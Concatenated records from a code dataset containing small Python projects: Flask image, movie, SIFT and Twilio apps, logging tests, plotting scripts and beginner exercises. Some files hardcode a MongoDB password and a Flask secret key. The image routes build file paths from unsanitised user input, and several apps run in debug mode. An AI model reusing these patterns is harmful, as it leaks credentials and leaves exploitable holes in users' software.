\"template\"):\n        group_data = Oviz._data.setdefault(group, {})\n        topic_data = group_data.setdefault(POINTCLOUD, [])\n        if isinstance(msg, str):\n            if msg.endswith(\".pcd\"):\n                pc = read_pcd(msg)\n            elif msg.endswith(\".bin\"):\n                pc = read_bin(msg)\n            topic_data.append(pc)\n        else:\n            topic_data.append(msg)\n\n    @staticmethod\n    def bbox3dshow(msg = None, group = \"template\"):\n        group_data = Oviz._data.setdefault(group, {})\n        topic_data = group_data.setdefault(BBOX3D, [])\n        topic_data.append(msg)\n\n    @staticmethod\n    def waitKey(cnt = -1):\n        Oviz._oviz_node.pub(Oviz._data)\n        if cnt < 0:\n            while not Oviz._oviz_node.is_decontrol():\n                time.sleep(0.1)\n            Oviz._oviz_node.reset_decontrol()\n        else:\n            time.sleep(cnt)\n        Oviz._data.clear()\n","repo_name":"xiaoqiang-cheng/Oviz","sub_path":"Oviz/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"1925144332","text":"from flask import request, jsonify, send_file\nfrom app.routes import images_bp\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom app import  db,app\nfrom flask import render_template\nfrom app.models.user import User  # Importa la clase User del modelo\nfrom app.models.image import Image  # Importa la clase User del modelo\nimport os \nimport datetime as dt  # Cambia el nombre del módulo a 'dt' para evitar conflictos\nimport pytesseract  # Importa la biblioteca pytesseract\nfrom PIL import Image as IMGPIL\n\n\n@images_bp.route('/upload', methods=['POST'])\ndef upload_image():\n    # Lógica para cargar imágenes\n    # ...\n    return jsonify({'access_token': \"access_token\"}), 200\n\n\n\n# Función para verificar la extensión de archivo permitida\ndef allowed_file_extension(filename):\n    return '.' in filename and filename.rsplit('.', 1)[1].lower() in {'jpg', 'jpeg', 'png', 'gif'}\n\n# Función para generar un nombre de archivo único (puedes ajustar esto según tus necesidades)\ndef generate_unique_filename(filename):\n    import uuid\n    unique_filename = str(uuid.uuid4()) + '.' + filename.rsplit('.', 1)[1].lower()\n    return unique_filename\n\n\n# Ruta para la página de actualización de imagen de perfil\n@images_bp.route('/updateImage', methods=['GET'])\ndef viewUpdateImage():\n    return render_template('updateImage.html')\n\n# Ruta para actualizar la imagen de perfil\n@images_bp.route('/update_profile_picture', methods=['POST'])\n@jwt_required()  # Requiere autenticación mediante JWT\ndef update_profile_picture():\n    try:\n        current_user_id = get_jwt_identity()  # Obtiene el ID del usuario a partir del token JWT\n\n        # Verifica si el usuario existe en la base de datos\n        user = User.query.get(current_user_id)\n        if not user:\n            return jsonify({'message': 'Usuario no encontrado'}), 404\n\n        foto = request.files.get('foto')  # Obtiene el nuevo archivo de imagen cargado\n\n        # Verifica si se proporcionó una nueva imagen\n        if foto:\n            # Verifica si la extensión del archivo es válida (por ejemplo, solo permite imágenes JPEG)\n            if not allowed_file_extension(foto.filename):\n                return jsonify({'message': 'Tipo de archivo no permitido para la imagen'}), 400\n            \n\n            # Crea el directorio de destino si no existe\n            profile_pictures_folder = os.path.join(app.config['PROFILE_PICTURES_FOLDER'], '')\n            os.makedirs(profile_pictures_folder, exist_ok=True)\n\n            # Genera un nombre único para la nueva imagen de perfil\n            unique_filename = generate_unique_filename(foto.filename)\n\n            # Guarda la nueva imagen en el directorio de imágenes de perfil\n            foto.save(os.path.join(app.config['PROFILE_PICTURES_FOLDER'], unique_filename))\n\n            # Actualiza el nombre del archivo de imagen en la base de datos\n            user.foto = unique_filename\n            db.session.commit()\n\n        return jsonify({'message': 'Imagen de perfil actualizada exitosamente',\n                        'nameImage': unique_filename}), 200\n    except Exception as e:\n        return jsonify({'message': 'Error al actualizar la imagen de perfil', 'error': str(e)}), 500\n    \n\n@images_bp.route('/get_profile_picture/<image_name>')\ndef get_profile_picture(image_name):\n\n    image_path = os.getcwd()+'/'+app.config['PROFILE_PICTURES_FOLDER'] +\"/\" +image_name\n    \n    print(image_path)\n    # Verifica si el archivo de imagen existe\n    if os.path.isfile(image_path):\n        # Devuelve la imagen como una respuesta\n        return send_file(image_path, mimetype='image/jpeg')  # Ajusta el mimetype según el tipo de imagen\n    else:\n        # Devuelve una respuesta de error si la imagen no existe\n        return 'Imagen no encontrada', 404\n    \n\n\n@images_bp.route('/userImages', methods=['GET'])\ndef viewUserImages():\n    return render_template('user_images.html')\n\n\n# Ruta para obtener todas las imágenes del usuario actual\n@images_bp.route('/userImages', methods=['POST'])\n@jwt_required()  # Requiere autenticación mediante JWT\ndef get_user_images():\n    try:\n        current_user_id = get_jwt_identity()  # Obtiene el ID del usuario a partir del token JWT\n\n        # Verifica si el usuario existe en la base de datos\n        user = User.query.get(current_user_id)\n        if not user:\n            return jsonify({'message': 'Usuario no encontrado'}), 404\n\n        # Obtiene todas las imágenes asociadas al usuario actual\n        user_images = Image.query.filter_by(user_id=current_user_id).all()\n\n        # Prepara una lista de diccionarios con información de las imágenes\n        images_data = []\n        for image in user_images:\n            images_data.append({\n                'id': image.id,\n                'fecha_registro': image.fecha_registro,\n                'ubicacion': image.ubicacion,\n                'user_id': image.user_id\n                # Puedes agregar más campos si es necesario\n            })\n\n        return jsonify(images_data), 200\n\n    except Exception as e:\n        return jsonify({'message': 'Error al obtener las imágenes del usuario', 'error': str(e)}), 500\n    \n\n\n\n# Ruta para actualizar la imagen de perfil\n@images_bp.route('/add_photo_user', methods=['POST'])\n@jwt_required()  # Requiere autenticación mediante JWT\ndef add_photo_user():\n    try:\n        current_user_id = get_jwt_identity()  # Obtiene el ID del usuario a partir del token JWT\n\n        # Verifica si el usuario existe en la base de datos\n        user = User.query.get(current_user_id)\n        if not user:\n            return jsonify({'message': 'Usuario no encontrado'}), 404\n\n        foto = request.files.get('foto')  # Obtiene el nuevo archivo de imagen cargado\n\n        # Verifica si se proporcionó una nueva imagen\n        if foto:\n            # Verifica si la extensión del archivo es válida (por ejemplo, solo permite imágenes JPEG)\n            if not allowed_file_extension(foto.filename):\n                return jsonify({'message': 'Tipo de archivo no permitido para la imagen'}), 400\n            \n            # Crea el directorio de destino si no existe\n            profile_pictures_folder = os.path.join(app.config['PROFILE_PICTURES_FOLDER'], '')\n            os.makedirs(profile_pictures_folder, exist_ok=True)\n\n            # Genera un nombre único para la nueva imagen de perfil\n            unique_filename = generate_unique_filename(foto.filename)\n\n            # Guarda la nueva imagen en el directorio de imágenes de perfil\n            foto.save(os.path.join(profile_pictures_folder, unique_filename))\n\n            # Crea una instancia de la clase Image y agrega los datos a la tabla Images\n            new_image = Image(\n                fecha_registro= dt.datetime.now(),  # Puedes cambiar esto según tus necesidades\n                ubicacion=unique_filename,\n                user_id=current_user_id\n            )\n            \n            # Agrega la nueva imagen a la sesión de la base de datos\n            db.session.add(new_image)\n            db.session.commit()\n\n            return jsonify({'message': 'Imagen de perfil y tabla Images actualizadas exitosamente',\n                            'nameImage': unique_filename}), 200\n\n        return jsonify({'message': 'No se proporcionó ninguna imagen para actualizar'}), 400\n\n    except Exception as e:\n        return jsonify({'message': 'Error al actualizar la imagen de perfil y la tabla Images', 'error': str(e)}), 500\n    \n\n\n\n@images_bp.route('/processImage', methods=['POST'])\n@jwt_required()  # Requiere autenticación mediante JWT\ndef process_image():\n    try:\n        current_user_id = get_jwt_identity()  # Obtiene el ID del usuario a partir del token JWT\n\n        # Verifica si el usuario existe en la base de datos (puedes agregar tu lógica aquí)\n\n        data = request.get_json()  # Obtiene los datos JSON de la solicitud\n        image_location = data.get('filename')  # Obtiene la ubicación de la imagen desde los datos JSON\n\n        # Verifica si se proporcionó una ubicación de imagen válida\n        if image_location:\n            # Construye la ruta completa a la imagen\n            image_path = os.path.join(os.getcwd(), app.config['PROFILE_PICTURES_FOLDER'], image_location.lstrip('/'))\n            print(\"------------\")\n            print(image_path)\n            print(\"------------\")\n\n            # Verifica si el archivo de imagen existe\n            if os.path.isfile(image_path):\n                # Utiliza pytesseract para extraer el texto de la imagen\n                text = pytesseract.image_to_string(IMGPIL.open(image_path))\n\n                # Devuelve el texto extraído como respuesta JSON\n                return jsonify({'text': text}), 200\n            else:\n                return jsonify({'message': 'La ubicación de la imagen no es válida'}), 400\n        else:\n            return jsonify({'message': 'No se proporcionó ninguna ubicación de imagen válida'}), 400\n\n    except Exception as e:\n        return jsonify({'message': 'Error al procesar la imagen', 'error': str(e)}), 500","repo_name":"CristianPumaES6/L3V3L_UP_T3K","sub_path":"app/routes/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":9048,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12709978500","text":"import json\nimport pytest\nimport structlog\nimport time\nimport yaml\n\nfrom unittest import mock\nfrom .. import stats  # The filename stats.py, not something in __init__.py\nfrom ..crud_views import log as crud_view_log\nfrom .test_post_put_patch import COLLECTION_URL, item_with_uuid\n\n\n@pytest.fixture\ndef mocked():\n    return mock.patch.object(stats, 'log')\n\n\ndef test_stats_tween_logs_stats(testapp, mocked):\n    ''' plus in this case we always log url '''\n    with mocked as mocked_log :\n        testapp.get(\"/\")\n        assert mocked_log.bind.call_count == 2\n        assert mocked_log.bind.call_args_list[0] == mock.call(url_path='/',\n                                                              url_qs='',\n                                                              host='localhost')\n        mocked_log.bind.assert_called_with(db_count=mock.ANY, db_time=mock.ANY,\n                                                rss_begin=mock.ANY, rss_change=mock.ANY,\n                                                rss_end=mock.ANY, wsgi_begin=mock.ANY,\n                                                url_path='/',\n                                                url_qs='',\n                                                host='localhost',\n                                                wsgi_end=mock.ANY, wsgi_time=mock.ANY)\n    return\n\n\ndef test_stats_tween_logs_telemetry_id(testapp, mocked):\n    with mocked as mocked_log:\n        res = testapp.get(\"/?telemetry_id=test_telem\")\n        assert mocked_log.bind.call_count == 2\n        assert mocked_log.bind.call_args_list[0] == mock.call(telemetry_id='test_telem',\n                                                              url_path='/',\n                                                              url_qs='telemetry_id=test_telem',\n                                                              host='localhost')\n        mocked_log.bind.assert_called_with(db_count=mock.ANY, db_time=mock.ANY,\n                                           rss_begin=mock.ANY, rss_change=mock.ANY,\n                                           rss_end=mock.ANY, wsgi_begin=mock.ANY,\n                                           wsgi_end=mock.ANY, wsgi_time=mock.ANY,\n                                           url_path='/',\n                                           url_qs='telemetry_id=test_telem',\n                                           host='localhost',\n                                           telemetry_id='test_telem')\n\n        # we should also return telem in the header\n        assert 'telemetry_id=test_telem' in res.headers['X-Stats']\n    return\n\n\ndef test_telemetry_id_carries_through_logging(testapp, external_tx):\n    mocked = mock.patch.object(crud_view_log, 'info')\n    with mocked as mock_log:\n        res = testapp.post_json(COLLECTION_URL + \"?telemetry_id=test&log_action=action_test\", item_with_uuid[0], status=201)\n        mock_log.assert_called_with(event=\"add_to_indexing_queue\", uuid=mock.ANY,\n                                    sid=mock.ANY, telemetry_id=mock.ANY)\n        # also make sure we have a logger that has defaultsset from stats.py\n        logger = crud_view_log.bind()\n        assert logger._context.get('url_path') == COLLECTION_URL\n        assert logger._context.get('url_qs') == \"telemetry_id=test&log_action=action_test\"\n        assert logger._context.get('host') == 'localhost'\n        assert logger._context.get('telemetry_id') == 'test'\n        assert logger._context.get('log_action') == 'action_test'\n\n\ndef test_logging_basic(testapp, external_tx, capfd):\n        '''\n        in prod logging setup, an Elasticsearch server is provided. Logs will\n        be piped to the appropriate logs (e.g. httpd/error_log) and also sent\n        to Elasticsearch. That is tested here in snovault in test_indexing;\n        here, we configure the logs without the es_server to ensure that\n        the rest of it works\n        '''\n        # something that generates logs\n        # add a telemetry id and some log contents using a query string\n        res = testapp.post_json(COLLECTION_URL + \"?telemetry_id=test&log_action=action_test\", item_with_uuid[0], status=201)\n        # multiple logs emitted in this process, must find the one we want\n        check_logs = capfd.readouterr()[-1].split('\\n')\n        log_msg = None\n        for record in check_logs:\n            if not record:\n                continue\n            try:\n                proc_record = yaml.safe_load('{' + record.strip().split('{', 1)[1])\n            except:\n                continue\n            if not isinstance(proc_record, dict):\n                continue\n            if proc_record.get('telemetry_id') == 'test':\n                log_msg = proc_record\n        assert '@timestamp' in log_msg\n        assert 'logger' in log_msg\n        assert 'level' in log_msg\n\n\ndef test_logging_see_debug_log(testapp, capfd):\n    \"\"\"\n    Tests that when we hit a route with the @debug_log decorator we see an appropriate log statement\n    \"\"\"\n    testapp.get('/')  # all routes are marked\n    check_logs = capfd.readouterr()[-1].split('\\n')\n    for record in check_logs:\n        if not record:\n            continue\n        if 'DEBUG_FUNC' in record:\n            return\n    raise AssertionError(\"Did not see 'DEBUG_FUNC' in a log message\")\n","repo_name":"dmichaels/harvard-snovault","sub_path":"snovault/tests/test_logging.py","file_name":"test_logging.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40188847484","text":"from flask import Flask, render_template, request, jsonify\nfrom bs4 import BeautifulSoup\nimport requests\nfrom pymongo import MongoClient\nimport certifi\n\napp = Flask(__name__)\n\nclient = MongoClient('mongodb+srv://sparta:test@cluster0.i0rbuls.mongodb.net/?retryWrites=true&w=majority')\ndb = client.dbsparta\n\n@app.route('/')\ndef home():\n    return render_template('index.html')\n\n@app.route(\"/movie\", methods=[\"POST\"])\ndef movie_post():\n    URL = \"https://movie.daum.net/ranking/reservation\"\n    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}\n    data = requests.get(URL, headers=headers)\n    soup = BeautifulSoup(data.text, 'html.parser')\n\n    lis = soup.select(\"#mainContent > div > div.box_ranking > ol > li\")\n    comment_content = soup.select(\"#mainContent > div > div.box_ranking > ol > li > div > div.thumb_item div.poster_info a\")\n\n    ## 기존 데이터 삭제\n    db.movie.delete_many({})\n\n    for li, comm in zip(lis, comment_content):\n        title = li.select_one('.link_txt').text\n        rate = li.select_one('.txt_num').text\n        poster = li.select_one('.poster_movie > img')['src']\n        rank = li.select_one('.rank_num').text\n        url = li.select_one('.link_txt')['href']\n        summary_content = li.select_one('.link_story').text\n\n        if title is not None:\n            doc = {\n                'title': title,\n                'poster': poster,\n                'rank': rank,\n                'rate': rate,\n                'url': url,\n                'content': summary_content\n            }\n\n            db.movie.insert_one(doc)\n            \n\n    return jsonify({'msg': 'POST 연결 완료!'})\n\n@app.route(\"/book\", methods=[\"POST\"])\ndef book_get():\n    seat_receive = request.form['seat_give']\n    year_receive = request.form['year_give']\n    month_receive = request.form['month_give']\n    date_receive = request.form['date_give']\n    name_receive = request.form['name_give']\n    \n    book_poster = list(db.movie.find_one({'title':name_receive}))\n\n    doc = {\n        'seat': seat_receive,\n        'year': year_receive,\n        'month': month_receive,\n        'date': date_receive,\n        'name': name_receive,\n        'poster':book_poster['poster']\n    }\n    db.booked.insert_one(doc)\n\n    return jsonify({'msg': '예약 저장 완료!'})\n\n@app.route(\"/book\", methods=[\"GET\"])\ndef book_show():\n    all_books = list(db.booked.find({},{'_id':False}))\n    return jsonify({'result': all_books})\n\n\n@app.route(\"/movie\", methods=[\"GET\"])\ndef movie_get():\n    all_movie = list(db.movie.find({},{'_id':False}))\n    return jsonify({'result': all_movie})\n\nif __name__ == '__main__':\n    app.run('0.0.0.0', port=8000, debug=True)\n","repo_name":"littleduck1219/movie_site","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10613166358","text":"from ..generators import *\nfrom .general import footer, header\nfrom .util import addBoilerplate\nfrom .general import namesNotationsDenotedBy\n\n\ndef localFun(i):\n    nb = TD(str(i or 1))\n    fig = TD(QuestionnedField(field=f\"Step{i}\", child={\n             f\"Figure{i}\"}, classes=\"Definition\"))\n    step = TD(QuestionnedField(field=f\"Step{i}\", classes=\"Definition\"))\n    return {\"child\": TR([nb, step, fig]),\n            \"questions\": {f\"Step{i}\"},\n            \"filledFields\": [f\"Step{i}\", f\"Figure{i}\"]}\n\n\ndef globalFun(l):\n    result = \"No figure at all\"\n    for i in [\"Figure\", \"Figure2\", \"Figure3\", \"Figure4\", \"Figure5\", \"Result\"]:\n        result = FilledOrEmpty(i,\n                               {i},\n                               result)\n    description = TH(QuestionnedField(\n        field=f\"Description\", classes=\"Notation\"))\n    result = TH(QuestionnedField(field=f\"Description\",\n                                 child=result, classes=\"Notation\"))\n    return Table([TR([description, result])]+l)\n\n\ndef steps(i):\n    return NumberedFields(fieldPrefix=\"Step\",\n                          greater=i,\n                          localFun=localFun,\n                          globalFun=globalFun)\n\n\nproperties = TableFields(\n    [\"Interest\", \"Types\", \"Fiable\", \"Réglable\", \"Décoratif\", \"Défaisable\"])\n\n\ndef noeudContruction(i):\n    return addBoilerplate([namesNotationsDenotedBy, properties , steps(i)])\n\n\nnoeud = noeudContruction(5)\n","repo_name":"Arthur-Milchior/anki-template-card-type","sub_path":"examples/noeud.py","file_name":"noeud.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"13870170028","text":"import os\n\nimport numpy\nfrom flask import Flask, render_template, request, session, redirect, url_for\nimport cv2\nfrom sift import sift_setup\nimport uuid\n\n# setup\napp = Flask(__name__)\n\napp.secret_key = 'jYxz/MBS&CXNHc.Gb6/WR^b[s/%fNLG'\n\n\n# render html            \n@app.route('/')\ndef index():\n\n    # If user hasn't been on the site before, assign them a UUID\n    if 'UUID' not in session:\n        session['UUID'] = uuid.uuid4().hex\n\n    return render_template('index.html')\n\n\n# File upload\n@app.route('/upload', methods=['POST'])\ndef file_upload():\n\n    # If post method\n    if request.method == 'POST':\n\n        # Get images and min kp from form\n        img1 = img_upload_to_cv2(request.files['img1'].read())\n        img2 = img_upload_to_cv2(request.files['img2'].read())\n        kp = float(request.form.get('kp'))\n\n        # Get result, time, and image from sift function\n        result, time, image = sift_setup(img1, img2, kp)\n\n        # Save image to static/images folder\n        cv2.imwrite(os.path.join(os.getcwd(), 'flask', 'static', 'images', (session['UUID'] + '.jpg')), image)\n\n        # Prepare data for jinja template\n        data = [result, time, url_for('static', filename='images/' + session['UUID'] + '.jpg')]\n\n        # Render the template\n        return render_template('results.html', data=data)\n\n    else:\n        return redirect(url_for('index'))\n\n\n# Helper function to convert images\ndef img_upload_to_cv2(image_str):\n    return cv2.imdecode(numpy.fromstring(image_str, numpy.uint8), cv2.IMREAD_UNCHANGED)\n\n\napp.run(debug=True)\n","repo_name":"JGehl99/COMP-4990-Project","sub_path":"flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"65256811","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import request\nimport sqlite3\nfrom datetime import datetime\nfrom twilio.twiml.messaging_response import MessagingResponse\n\napp = Flask(__name__)\ndatabase_name = \"database.db\" \n\n@app.route('/send_message')\ndef send_message(ID,last_message):\n    conn = sqlite3.connect(database_name)\n    c = conn.cursor()\n    c.execute(\"INSERT INTO messages (ID,message,time) VALUES (?, ?, ?) \",\n              (ID,last_message,datetime.now()))\n    conn.commit()\n    conn.close()\n\n    return str(ID)+ \" \"+str(last_message)\n\n@app.route('/')\ndef index():\n\treturn render_template('index.html')    \n\n@app.route(\"/delete_all\")\ndef delete_all(ID):\n    conn = sqlite3.connect(database_name)\n    c = conn.cursor()\n    c.execute(\"DELETE from messages where ID=?\",(ID,))\n    conn.commit()\n    conn.close()\n\n@app.route(\"/web\",methods=['GET','POST'])\ndef web_reply():\n    new_message = send_message(str(request.remote_addr),request.values.get(\"Body\", None))\n    return new_message\n\n@app.route(\"/sms\", methods = ['GET', 'POST'])\ndef sms_reply():\n    new_message = send_message(str(request.remote_addr),request.values.get(\"Body\", None))\n    resp = MessagingResponse()\n    resp.message(new_message)\n    return str(resp)\n\ndef select_all(ID):\n    conn = sqlite3.connect(database_name)\n    c = conn.cursor()\n    c.execute(\"SELECT * from messages where ID=?\",(ID,))\n\n    rows = c.fetchall()\n    for row in rows:\n        print(row)\n\n    conn.commit()\n    conn.close()\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"QuintinN/HopHacks","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28581005312","text":"# 1-task\r\nname = input(\"Как к вам обращаться? \")\r\nprint(\"Добрый день,\", name, \"!\")\r\nage = int(input(\"Сколько Вам лет?\"))\r\nprint(\"Рады с Вами познакомиться,\", name, \", которому\", age, \"лет!\")\r\nanimal = input(\"Ваше любимое животное?\")\r\nprint(f\"{animal}-отличный выбор!\")\r\n\r\n# 2-task\r\ntime = int(input(\"Enter your time in seconds\"))\r\nhours = time // 3600\r\nminutes = time // 60 - hours * 60\r\nseconds = time % 60\r\nprint(f\"{hours:2}:{minutes:02}:{seconds:02}\")\r\n\r\n# 3-task\r\nn = input(\"Введите любую цифру\")\r\nwhile n < '0':\r\n    print(\"Введите целую цифру, которая больше 0. Попробуйте еще раз, пожалуйста.\")\r\n    break\r\n#n = input(\"Введите любую целую цифру больше 0: \")\r\nprint(f\"{n} + {n + n} + {n + n + n} = {int(n) + int(n + n) + int(n + n + n)}\")\r\n\r\n# 4-task\r\nnum_1 = int(input(\"Введите, пожалуйста,целое положительное число \"))\r\ngreatest_dig = 0\r\nnum = num_1\r\n\r\nwhile num > 0:\r\n    dig = num % 10\r\n    if dig > greatest_dig:\r\n        greatest_dig = dig\r\n        if greatest_dig == 9:\r\n            break\r\n    num = num // 10\r\n\r\nprint(f'Наибольшая цифра в числе {num_1} равна {greatest_dig}')\r\n\r\n# 5-6-tasks\r\ncosts = float(input(\"Введите, пожалуйста, значение издержек Вашей фирмы.\"))\r\nrevenue = float(input(\"Отлично! Теперь введите значение выручки Вашей фирмы!\"))\r\n\r\nif costs < revenue:\r\n    print(f\"Поздравляю! Вы работаете с прибылью{revenue - costs}\")\r\n    print(f\"Рентабельность вашей выручки составила:{(revenue - costs)/revenue*100:1f}\")\r\n    personal = int(input(\"А сколько человек работает в вашей фирме?\"))\r\n    print(f\"Если раздадите прибыль Вашим сотрудник, то каждый из них получит: {(revenue - costs)/personal:1f}\")\r\nelif costs == revenue:\r\n    print(\"Вы не получаете прибыль, но у вас и нет убытка!\")\r\nelse:\r\n    print(f\"Увы, Вы работаете в убыток на {(revenue - costs)*-1}\")\r\n\r\n# 6-task\r\nwhile True:\r\n    days = 1\r\n    a = float(input(\"Добрый день! Подскажите Ваш результат на первой пробежке!\"))\r\n    b = float(input(\"Какого результата Вы хотите добиться?\"\r\n                \" И мы подскажем на какой день можно будет достичь его при увеличении нагрузки на 10% каждый день ;)\"))\r\n    if a <= 0 or b < 0:\r\n         print(\"Результат должен быть больше нуля. Стартовое значение больше или равно нулю\")\r\n    else:\r\n        while a < b:\r\n         a += a * 0.1\r\n        days += a * 0.1\r\n    print(f\"Вы добьетесь результата за {int(days)} дней\")\r\n    break","repo_name":"kanykeia/python","sub_path":"1 урок.py","file_name":"1 урок.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25091916501","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\ndef show_3D_single(data, id, cls_id):\r\n    # data[:, :3] = pc_normalize(data[:, :3])\r\n    data = data[data[:, 3] == cls_id]\r\n    print(data.shape)\r\n    colormap = []\r\n    lab = np.asarray([[184, 179, 168],\r\n                      [255, 0, 0],\r\n                      [255, 127, 0],\r\n                      [255, 255, 0],\r\n                      [0, 255, 0],\r\n                      [0, 0, 255],\r\n                      [38, 0, 51],\r\n                      [148, 0, 211]]) / 255.0\r\n    colormap = [[] for _ in range(data.shape[0])]\r\n    for i in range(data.shape[0]):\r\n        colormap[i] = lab[int(data[i, 3])]\r\n    # plt.figure(figsize=(10, 10))\r\n    ax = plt.subplot(111, projection='3d')\r\n    # 设置视角\r\n    # ax.view_init(elev=30, azim=-60)\r\n    # 关闭坐标轴\r\n    # plt.axis('off')\r\n    # 设置坐标轴范围\r\n    #ax.set_zlim3d(0, 0.1)\r\n    #ax.set_ylim3d(-0.25, 0.35)\r\n    #ax.set_xlim3d(-0.75, 0.35)\r\n    ax.scatter(data[:, 0], data[:, 1], data[:, 2], c=colormap, s=20, marker='.')  # , cmap='plasma')\r\n    #plt.savefig('/home/zhenyu/code_test_2/point_save/' + '%d.png' % id, dpi=500, bbox_inches='tight', transparent=True)\r\n    plt.close()\r\n    #plt.show()","repo_name":"Gary3410/shape_estimation","sub_path":"plot_point.py","file_name":"plot_point.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35258228126","text":"import matplotlib.pyplot as plt\n\n#for bar graph\nimport numpy as np\n\nprint(\"\"\"Hello and Welcome to Calorie Targeter\n\nWe must collect some information in order to estimate your caloric intake. After which, \nwe will enter it into the revised Harris Benedict Equation and provide you the results.\"\"\")\n\n\nprint()\ngender = input(\"Let us being by first asking what is your gender? male or female \")\nweight_kilo = int(input(\"What is your weight in pounds? \"))\ncm_height = int(input(\"How tall are you in inches? \"))\nage = int(input(\"What is your age? \"))\n\n# convert weight and height to pounds and feet\nweight = weight_kilo / 2.205\nheight = cm_height * 2.54\n# print(weight)\n# print(height)\n\n# allow the user to identify their activity level\nexercise_level = int(input(\"\"\"\nWhat is  your exercise level, 1-5 \n1 Sedentary: little or no regular exercise \n2 Mild : intensive exercise for at least 20 minuets, 1 to 3 times a week\n3 Moderate: intensive exercise for at least 30 to 60 minutes 3 to 4 times weekly\n4 Heavy: intensive exercise for 60 minuets or greater 5 to 7 days weekly\n5 Extreme: Exceedingly active and or very demanding activities.  \n\"\"\"))\n\n\nif gender == 'male':\n    total_calories_needed = 0\n    # (REVISED) HARRIS BENEDICT EQUATIONS:\n    bmr = 88.362 + (13.397 * weight) + (4.799 * height) - (5.677 * age)\n    # print(bmr)\n\n    # Activity or stress factors\n    if exercise_level == 5:\n        total_calories_needed = bmr * 1.9\n    elif exercise_level == 4:\n        total_calories_needed = bmr * 1.7\n    elif exercise_level == 3:\n        total_calories_needed = bmr * 1.5\n    elif exercise_level == 2:\n        total_calories_needed = bmr * 1.3\n    elif exercise_level == 1:\n        total_calories_needed = bmr * 1.2\n\nelif gender == 'female':\n    # (REVISED) HARRIS BENEDICT EQUATIONS:\n    bmr = 447.593 + (9.247 * weight) + (3.098 * height) - (4.330 * age)\n    # print(bmr)\n\n    # Activity or stress factors\n    if exercise_level == 5:\n        total_calories_needed = bmr * 1.9\n    elif exercise_level == 4:\n        total_calories_needed = bmr * 1.725\n    elif exercise_level == 3:\n        total_calories_needed = bmr * 1.55\n    elif exercise_level == 2:\n        total_calories_needed = bmr * 1.375\n    elif exercise_level == 1:\n        total_calories_needed = bmr * 1.2\n\nhigh_weight_loss = total_calories_needed * .71\nstandard_weight_loss = total_calories_needed * .85\nmild_weight_loss = total_calories_needed * .9\nmaintain = total_calories_needed * 1\nbulking = total_calories_needed + 250\n\n# print(f\"\"\"\n# Consume the following target amount of calories for your goal\n#\n# 1 Bulk, weight gain: {round(bulking,2)} calories\n# 2 Maintain  weight: {round(total_calories_needed,2)} calories\n# 3 Mild weight loss: {round(mild_weight_loss,2)} calories\n# 4 Standard weight loss: {round(standard_weight_loss,2)} calories\n# 5 High weight loss: {round(extreme_weight_loss, 2)} calories\n# \"\"\")\n\nweight_goal = int(input(\"\"\"What is your weight loss/weight gain goal?\"\"\n1: High weight loss:\n2: Standard weight loss\n3: Mild weight loss\n4: Maintain weight\n5: Bulk\n\"\"\"))\nif weight_goal == 1:\n    total_calories_needed = high_weight_loss\nelif weight_goal == 2:\n    total_calories_needed = standard_weight_loss\nelif weight_goal == 3:\n    total_calories_needed = mild_weight_loss\nelif weight_goal == 4:\n    total_calories_needed = maintain\nelif weight_goal == 5:\n    total_calories_needed = bulking\n\n\nconsumed_today = int(input(\"Lastly, how many calories have you had today? \"))\n# num = int(input(\"number?\"))\n\n\ncalories_needed_math = total_calories_needed - consumed_today\nprint(f'''\nIn order to meet your caloric intake goal, you need to consume \n{round(calories_needed_math, 2)} more calories today\n''')\nprint(\"Please refer to the following graphs for visualization.\")\n# ==============================================================================\n# Graph section\n\nfig, ax = plt.subplots(figsize=(10, 10))\n\n# Graph the data\n# X axis\nx = [1, 2, 3, 4, 5]\n# Y axis\ny = [high_weight_loss, standard_weight_loss, mild_weight_loss, maintain, bulking]\n\n\nplt.yticks([100, 200, 300, 400, 500, 600, 700, 800, 900,\n            1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900,\n            2000, 2100, 2200, 2300, 2400, 2500, 2600, 2700, 2800, 2900,\n            3000, 3100, 3200, 3300, 3400, 3500, 3600, 3700, 3800, 3900,\n            4000, 4100, 4200, 4300, 4400, 4500, 4600, 4700, 4800, 4900])\n\n\n\nplt.plot(x, y, color=\"dodgerblue\", label='Target Calories', linewidth=8)\nplt.plot([x], [y], marker='o', markersize=8, color=\"black\")\n\n\n\n\n\n# Plot dot of\nx2 = [weight_goal]\ny2 = [consumed_today]\nplt.plot([x2], [y2], marker='X', markersize=20, color=\"red\", label='Current Calories For Weight Goal')\n\n\n\n# Graph title\nplt.title('Calories Needed For Exercise Level')\nplt.legend()\n# Add grid lines\nplt.grid(True)\n# Labels y axis\nplt.ylabel('Calories')\n# Labels x axis\nplt.xlabel('Weight Goal')\n# X axis metrics/label\nlabels = ['High Weight 